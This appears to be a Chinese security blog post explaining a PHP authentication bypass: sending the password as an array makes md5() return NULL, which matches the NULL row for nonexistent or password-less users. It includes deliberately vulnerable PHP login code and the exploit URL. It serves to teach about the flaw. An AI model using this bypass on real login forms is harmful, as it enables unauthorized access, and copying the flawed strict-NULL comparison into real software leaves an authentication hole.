0x01前言

之前在渗透一个登入框的时候,账号随便输入密码输入数组,就成功登入了,这里本地模拟分析一下。

0x02 测试

功能点是可以为你创建的类似于店铺的东西设置一个独立查看密码然后在网址里面可以单独管理

39645-fzthpzp7aea.png

来看看登入的地方,尝试使用自己设置的密码然后传入数组去登入,显示密码失败

75451-b1778kzkotc.png

但是,这个功能是需要手动去开启的,那么没有开启的密码就是为空,我们尝试登入id为1的用户

74303-5auc7s9qfog.png

成功登入,缺点就是只能登入没有设置密码的sid用户

86083-x1v3zowsc3f.png

0x03 本地测试

数据库创建语句,这里用mysql进行测试

CREATE TABLE `users` ( `id` INT(1) NOT NULL AUTO_INCREMENT , `username` VARCHAR(32) NOT NULL , `password` VARCHAR(32) NOT NULL , PRIMARY KEY (`id`)) ENGINE = MyISAM;
INSERT INTO `users`( `username`, `password`) VALUES ('1','2');

模拟的后端代码,乍一看用户名都被addslashes函数转义没办法注入,在不知道正确的账号密码的情况下没办法到成功的

<?php
$conn=mysqli_connect('127.0.0.1','root','root','test','3306');
$name=addslashes($_GET['username']);
$pass=$_GET['password']; 
$sql="select * from users where username='$name'";
$result=mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($result);

if($row['password']!==md5($pass))
{
    exit('失败');
}
else
{
    exit('成功');
}
?>

判断的核心在于

$row['password']!==md5($pass)

然后$pass我们是可空的,我们可以传入数组,md5函数处理不了数组会返回NULL

<?php
var_dump(md5(array(1=>1)));

输出结果

11586-e6xnp9ta55e.png

md5函数处理不了数组会返回NULL那么我们只需要让row['password']也等于NULL即可绕过

$row['password']!==md5($pass)

那么我们只需要让row[‘password’]也等于NULL即可绕过,随便输入一个不存在的用户名或者密码为空的用户,查询出来的结果就是NULL,所以这样就能成功到达成功的if分支,这里我们输出一下var_dump($row[‘password’]);

var_dump($row['password']);

然后传入一个不存在的用户,可以看到返回的也是NULL

18308-1yxh43sym9p.png

两边都是NULL if的结果就为true成功登入

http://127.0.0.1:3333/test.php?username=2&password[]=1

49616-ctfzgwudgdu.png

如果用户名存在$row['password']就是不是NULL则不行

http://127.0.0.1:3333/test.php?username=1&password[]=1

04974-n2mktddvcr8.png

Last modification:May 13, 2022
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/303.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢